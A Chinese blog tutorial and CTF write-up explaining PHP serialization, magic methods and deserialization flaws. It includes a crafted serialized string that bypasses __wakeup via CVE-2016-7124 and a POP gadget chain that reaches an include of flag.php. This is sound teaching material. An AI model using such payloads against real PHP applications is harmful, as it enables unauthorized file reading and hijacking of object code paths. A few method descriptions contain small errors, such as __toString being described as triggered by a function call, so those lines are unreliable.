基础知识
现在我们都会在淘宝上买桌子,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
也就是说,序列化的目的是方便传输和存储。
在PHP应用中,序列化和反序列化一般用做缓存,比如session,cookie等。
- PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用
serialize()
函数。 - PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用
unserialize()
函数。 - PHP反序列化漏洞:如果代码中使用了反序列化
unserialize()
函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列magic方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。
序列化格式
<?php
$str='Theoyu';
$bool=true;
$null=NULL;
$arr=array('a'=>1,'b'=>2);
class A
{
public $x;
private $y;
public function __construct($x,$y)
{
$this->x=$x;
$this->y=$y;
}
}
$test=new A(3,"theoyu");
echo(serialize($str).'</br>'); //s:6:"Theoyu";
echo(serialize($bool).'</br>'); //b:1;
echo(serialize($null).'</br>'); //N;
echo(serialize($arr).'</br>'); //a:2{s:1:"a";i:1;s:1:"b";i:2;}
echo(serialize($test).'</br>'); //O:1:"A":2:{s:1:"x";i:3;s:4:"Ay";s:6:"theoyu";}
?>
序列化对不同类型得到的字符串格式为:
- string : s:size:value;
- Integer: i:value;
- Boolean b:value;(1 or 0)
- NULL N;
- Array a:size:{key definition;value definition;······}definition 类似string or Integer
- Object O:类名长度:"类名":属性数量:
Magic methods
PHP16个魔术方法
PHP中把比双下划线__开头的方法称为魔术方法,这些发在达到某些条件时会自动被调用:
- __construct():类的构造函数,当一个类被创建时自动调用
- __destruct)(),类的析构函数,当一个类被销毁时自动调用
- __sleep(),执行serialize()进行序列化时,先会调用这个函数
- __wakeup(),执行unserialize()进行反序列化时,先会调用这个函数
- __toString(),当把一个类当作函数使用时自动调用
- __invoke(),当把一个类当作函数使用时自动调用
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
下面针对几个常用的魔术方法具体实现。
__construct()
类似c++的构造函数
需要指出,PHP不支持构造函数重载,所以一个类只能声明一个构造函数!
__destruct()
同上,类似c++..
__sleep()
serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,则该方法会优先被调用。
- 该函数必须至少返回一个所包含对象中的变量名称
- 没有返回的变量将不会输出。
<?php
class Person
{
public $name;
public $sex;
public $age;
public function __construct($name,$sex,$age)
{
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
public function __sleep()
{
echo"我是__sleep()函数,我被调用了,你以为你还叫theoyu?<br>";
$this->name=base64_encode($this->name);
return array('name','sex');//没有返回age
}
}
$person =new Person('theoyu','男','20');
echo serialize($person)
?>
输出:
我是__sleep()函数,我被调用了,你以为你还叫theoyu?
O:6:"Person":2 :{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
没有年龄。
__wakeup()
unserialize()前会检查是否存在__wakeup(),如果存在会优先调动。
和__sleep()相比,不需要返回数组。
<?php
class Person
{
public $name;
public $sex;
public $age;
public function __construct($name,$sex,$age)
{
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
public function __sleep()
{
echo"我是__sleep()函数,我被调用了,你以为你还叫theoyu?<br>";
$this->name=base64_encode($this->name);
return array('name','sex');
}
public function __wakeup()
{
echo"我是__wakeup()函数,你重新拥有了你的名字<br>";
$this->name=base64_decode(base64_decode($this->name)); //这里需要两次解码,因为__sleep()调用了两次
}
}
$person =new Person('theoyu','男','20');
echo serialize($person)."<br>";
var_dump(unserialize(serialize($person)));
?>
输出:
我是__sleep()函数,我被调用了,你以为你还叫theoyu?
O:6:"Person":2:{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
我是__sleep()函数,我被调用了,你以为你还叫theoyu?
我是__wakeup()函数,你重新拥有了你的名字
object(Person)#2 (3) { ["name"]=> string(6) "theoyu" ["sex"]=> string(3) "男" ["age"]=> NULL }
...忽然发现好中二= =
__toString()
- __toString()用于一个对象被当作字符串时应该如何回应,应该显示什么。
- __toSrring()必须返回一个字符串。
zhegnv<?php
class A
{
public $test;
public function __construct($test)
{
$this->test=$test;
}
function __toString()
{
$str="this is __toString";
return $str; //__toString() must return a string value
}
}
$a=new A(3);
echo $a; //this is __toString
?>
__invoke()
- 一个对象被当作函数调用时,__invoke()会自动被调用。
<?php
class A
{
public $test;
public function __construct($test)
{
$this->test=$test;
}
function __invoke()
{
echo "this is __invoke";
}
}
$a=new A(3);
$a(); //this is __invoke
?>
__call()
- 调用类不存在的函数时,__call()会被调用,保证程序正常进行。
- 格式 function __call(\(function_name,\)arguments)
- 第一个参数会自动接收不存在函数的函数名,第二个参数以数组方式接收不存在函数的多个参数。
<?php
class A
{
public $test;
public function __construct($test)
{
$this->test=$test;
}
function __call($funcion_name,$arguments)
{
echo"你调用的函数:".$funcion_name."(参数:";
print_r($arguments); //数组要用print_r()
echo ")不存在!";
}
}
$a=new A(3);
$a->person('name','age','sex');
//你调用的函数:person(参数:Array ( [0] => name [1] => age [2] => sex ) )不存在!
?>
反序列化漏洞
e.g.1
- CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
要求版本:PHP5<5.6.25 PHP7<7.0.10
- index.php:
<?php
class loudong
{
public $file ='index.php';
function __destruct()
{
if(!empty($this->file))
{
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
{
echo"<br>";
show_source(dirname(__FILE__).'/'.$this->file);
}
else
die('Wrong filename');
}
}
function __wakeup()
{
$this->file='index.php';
}
function __toString()
{
return 'this is tostring';
}
}
if(!isset($_GET['file']))
{
show_source('index.php');
}
else
{
$file=$_GET['file'];
echo unserialize($file);
}
?> <!-- key in flag.php -->
分析其中的几个函数strchr('a','b'):在a中搜索字串b,搜索成功返回剩下字串,失败return false。
代码审计
- 提示flag在flag.php里面,我们要想办法读到里面的内容。
- 在析构函数中,show_source(dirname(FILE).'/'.\(this->file)**,**dirname**返回的是文件所在文件夹的绝对路径,拼接后面的**/\)this->file,想办法看能不能把file改为flag.php.
- 在__wakeup()中,反系列化会自动调用把file置为index.php,那我们希望绕过这个函数。
这里需要用到CVE-2016-7124漏洞
当序列化字符串中表示对象属性个数大于真实的属性个数或值类型不匹配时会跳过__wakeup的执行.
- 正常构造序列化对象:
O:7:"loudong":1:{s:4:"file";s:8:"flag.php";}
- 绕过:
O:7:"loudong":2:{s:4:"file";s:8:"flag.php";}
//或i:8:"flag.php都可
e.g.2
一道考察多方面的题
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
include"flag.php";
}
}
$a = $_GET['string'];
unserialize($a);
?>
如何在一个类中实例化另一个类呢?利用类的构造函数,只要第一个类被实例化就会自动实例化我们需要另外构造的类。
思路:
- 要想得到flag,需要调用GetFlag类中的get_flag()函数。
- 在string1类可以看出,我们需要把str1实例化为GetFlag类的对象,然后看有没有字符串能调用__toString()函数。
- 往上看,func类中,__invoke()函数存在字符串拼接,满足2的预期,需要把mod2实例化为string1的对象,再找找有没有把对象当作函数的地方来调用__invoke()。
- 在funct类中找到调用$s1()函数,只需将mod1实例化为func类的对象,再找找有没有调用不存在函数的地方。
- 芜湖,我们发现Call类中test1()函数就调用了不存在的函数,我们需要把mod1实例化为funct的对象。
- 最后一步!往上看!在start__gg的析构函数就调用了test1()函数,那我们只需要把mod1实例化为__Call的对象就可以了!
最后构造!
<?php
class start_gg
{
public $mod1;
public function __construct()
{
$this->mod1 = new Call();
}
}
class Call
{
public $mod1;
public function __construct()
{
$this->mod1 = new funct();
}
}
class funct
{
public $mod1;
public function __construct()
{
$this->mod1 = new func();
}
}
class func
{
public $mod1;
public function __construct()
{
$this->mod1 = new string1();
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1 = new GetFlag();
}
}
class GetFlag {}
$a = new start_gg();
echo serialize($a);
//O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}
?>
payload serialize($a),得到flag。
参考:
忽然感觉自己效率很低,本来两天就能做完的,拖了快一个星期...
10月校赛的wp也还没完成
唉~
最后呢,给大家推一首曲子:ふるさとの匂い—吉森信
是《夏目友人帐》曲子欸 很治愈的
嗯